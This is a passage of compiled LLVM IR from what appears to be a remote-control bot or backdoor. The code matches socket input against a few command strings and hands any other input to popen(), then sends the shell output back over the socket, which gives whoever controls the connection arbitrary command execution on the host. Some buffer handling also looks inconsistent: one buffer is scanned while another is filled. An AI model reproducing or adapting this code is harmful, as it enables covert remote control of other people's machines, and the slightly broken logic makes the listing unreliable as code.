%96 = load i8*, i8** %15
%97 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.19, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %96)
%98 = call i32 @strlen(i8* %7)
%99 = call i32 @send(i32 %0, i8* %7, i32 %98, i32 0)
%100 = call i32 @memset(i8* %7, i32 0, i32 512)
%101 = load i8*, i8** %16
%102 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.20, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %101)
%103 = call i32 @strlen(i8* %7)
%104 = call i32 @send(i32 %0, i8* %7, i32 %103, i32 0)
%105 = call i32 @memset(i8* %7, i32 0, i32 512)
br label %58
106: ; preds = %76
%107 = call i8* @strstr(i8* %40, i8* dereferenceable(1) getelementptr inbounds ([6 x i8], [6 x i8]* @.str.21, i64 0, i64 0))
%108 = icmp eq i8* %107, null
br i1 %108, label %113, label %109
109: ; preds = %106
%110 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str.22, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %1)
%111 = call i32 @strlen(i8* %7)
%112 = call i32 @send(i32 %0, i8* %7, i32 %111, i32 0)
br label %58
113: ; preds = %106
%114 = call i32 @strcmp(i8* %40, i8* dereferenceable(8) getelementptr inbounds ([8 x i8], [8 x i8]* @.str.23, i64 0, i64 0))
%115 = icmp eq i32 %114, 0
br i1 %115, label %116, label %120
116: ; preds = %113
%117 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str.24, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %1)
%118 = call i32 @strlen(i8* %7)
%119 = call i32 @send(i32 %0, i8* %7, i32 %118, i32 0)
br label %58
120: ; preds = %113
%121 = call i32 @strcmp(i8* %40, i8* dereferenceable(10) getelementptr inbounds ([10 x i8], [10 x i8]* @.str.25, i64 0, i64 0))
%122 = icmp eq i32 %121, 0
br i1 %122, label %123, label %127
123: ; preds = %120
%124 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([46 x i8], [46 x i8]* @.str.26, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %1)
%125 = call i32 @strlen(i8* %7)
%126 = call i32 @send(i32 %0, i8* %7, i32 %125, i32 0)
br label %58
127: ; preds = %120
%128 = call i32* @popen(i8* %40, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.27, i64 0, i64 0))
%129 = call i32 @fread(i8* %10, i32 1, i32 512, i32* %128)
br label %130
130: ; preds = %135, %127
%131 = phi i64 [ %136, %135 ], [ 0, %127 ]
%132 = getelementptr inbounds [512 x i8], [512 x i8]* %6, i64 0, i64 %131
%133 = load i8, i8* %132
switch i8 %133, label %135 [
i8 0, label %137
i8 10, label %134
]
134: ; preds = %130
store i8 32, i8* %132
br label %135
135: ; preds = %130, %134
%136 = add nuw i64 %131, 1
br label %130
137: ; preds = %130
%138 = call i32 @strlen(i8* %10)
%139 = icmp sgt i32 %138, 499
br i1 %139, label %140, label %142
140: ; preds = %137
%141 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([48 x i8], [48 x i8]* @.str.28, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0))
br label %144
142: ; preds = %137
%143 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.29, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %10)
br label %144
144: ; preds = %142, %140
%145 = call i32 @strlen(i8* %7)
%146 = call i32 @send(i32 %0, i8* %7, i32 %145, i32 0)
%147 = call i32 @pclose(i32* %128)
%148 = call i32 @memset(i8* %10, i32 0, i32 512)
br label %58
149: ; preds = %66
ret void
}